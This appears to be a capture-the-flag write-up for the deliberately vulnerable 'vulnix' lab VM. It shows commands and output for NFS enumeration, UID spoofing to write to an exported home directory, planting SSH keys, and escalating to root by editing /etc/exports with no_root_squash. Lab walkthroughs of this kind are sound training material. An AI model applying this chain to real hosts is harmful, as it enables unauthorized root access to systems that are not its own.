Service Discovery & Enumeration
Nmap [nmap -sS -sV -sC 192.168.22.134
] revealed a number of different services for this box, offering a lot of potential enumeration points:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
79/tcp open finger Linux fingerd
110/tcp open pop3 Dovecot pop3d
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 42005/udp mountd
| 100005 1,2,3 54538/tcp mountd
| 100021 1,3,4 37679/tcp nlockmgr
| 100021 1,3,4 50827/udp nlockmgr
| 100024 1 49501/udp status
| 100024 1 53102/tcp status
| 100227 2,3 2049/tcp nfs_acl
|_ 100227 2,3 2049/udp nfs_acl
143/tcp open imap Dovecot imapd
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
2049/tcp open nfs_acl 2-3 (RPC #100227)
The first service I took a look at was the NFS daemon, by looking at the export list on the host machine:
root@kali:~# showmount -e 192.168.22.134
Export list for 192.168.22.134:
/home/vulnix *
The home directory of the vulnix
user is being exposed, which presents a potentially easy access point. Prior to NFSv4, it’s possible to view the owner UID and GID of a remote share, so I tried to mount the share using NFSv3:
root@kali:~/vulnix# mkdir mnt && mount 192.168.22.134:/home/vulnix mnt -o vers=3
root@kali:~/vulnix# ls -l
total 4
drwxr-x--- 2 2008 2008 4096 Sep 2 2012 mnt
As can be seen in the above output, the owning user and group have the IDs 2008
. There are multiple tools available to aid in spoofing this, but it’s also as easy to just add a new user with the specified ID, so I created a new user with ID 2008, switched to it, and then had access to the share:
root@kali:~/vulnix# useradd -u 2008 vulnix
root@kali:~/vulnix# su vulnix
$ cd mnt
$ ls -lah
total 20K
drwxr-x--- 2 vulnix vulnix 4.0K Sep 2 2012 .
drwxr-xr-x 3 root root 4.0K Aug 20 15:28 ..
-rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix 3.5K Apr 3 2012 .bashrc
-rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile
Now that I had remote write access as vulnix
, I created a new SSH key pair, and copied the public key into .ssh/authorized_keys
, which then allowed me to SSH in to the box as vulnix
root@kali:~/vulnix# ssh -i id_rsa vulnix@192.168.22.134
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sun Aug 20 16:47:57 BST 2017
System load: 0.0 Processes: 90
Usage of /: 90.2% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: 192.168.22.134
Swap usage: 0%
=> / is using 90.2% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
vulnix@vulnix:~$
Getting Root Access
Looking at the sudo privileges for vulnix
, I could see that the user is able to edit the NFS exports without the need for a password:
vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User vulnix may run the following commands on this host:
(root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
By using sudoedit /etc/exports
, it’s possible to add another share into the export list, one which uses the no_squash_root
option; which prevents root users being remapped to the nobody
user:
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix *(rw,root_squash)
/root *(rw,no_root_squash)
This change doesn’t automatically get applied, but will do so upon a system reboot. After rebooting the VM, the new share into the /root
directory can be seen:
root@kali:~/vulnix# showmount -e 192.168.22.134
Export list for 192.168.22.134:
/root *
/home/vulnix *
Following the same steps as before, it is now possible to add an SSH key into /root/.ssh/authorized_keys
and gain root access:
root@kali:~/vulnix# mount 192.168.22.134:/root mnt -o vers=3
root@kali:~/vulnix# cd mnt
root@kali:~/vulnix/mnt# ls -la
total 28
drwx------ 3 root root 4096 Sep 2 2012 .
drwxr-xr-x 5 root root 4096 Aug 20 16:33 ..
-rw------- 1 root root 0 Sep 2 2012 .bash_history
-rw-r--r-- 1 root root 3106 Apr 19 2012 .bashrc
drwx------ 2 root root 4096 Sep 2 2012 .cache
-rw-r--r-- 1 root root 140 Apr 19 2012 .profile
-r-------- 1 root root 33 Sep 2 2012 trophy.txt
-rw------- 1 root root 710 Sep 2 2012 .viminfo
root@kali:~/vulnix/mnt# mkdir .ssh
root@kali:~/vulnix/mnt# cp ../id_rsa.pub .ssh/authorized_keys
root@kali:~/vulnix# ssh -i id_rsa root@192.168.22.134
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sun Aug 20 17:51:41 BST 2017
System load: 0.0 Processes: 93
Usage of /: 90.2% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: 192.168.22.134
Swap usage: 0%
=> / is using 90.2% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
root@vulnix:~# ls
trophy.txt
root@vulnix:~# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be
root@vulnix:~#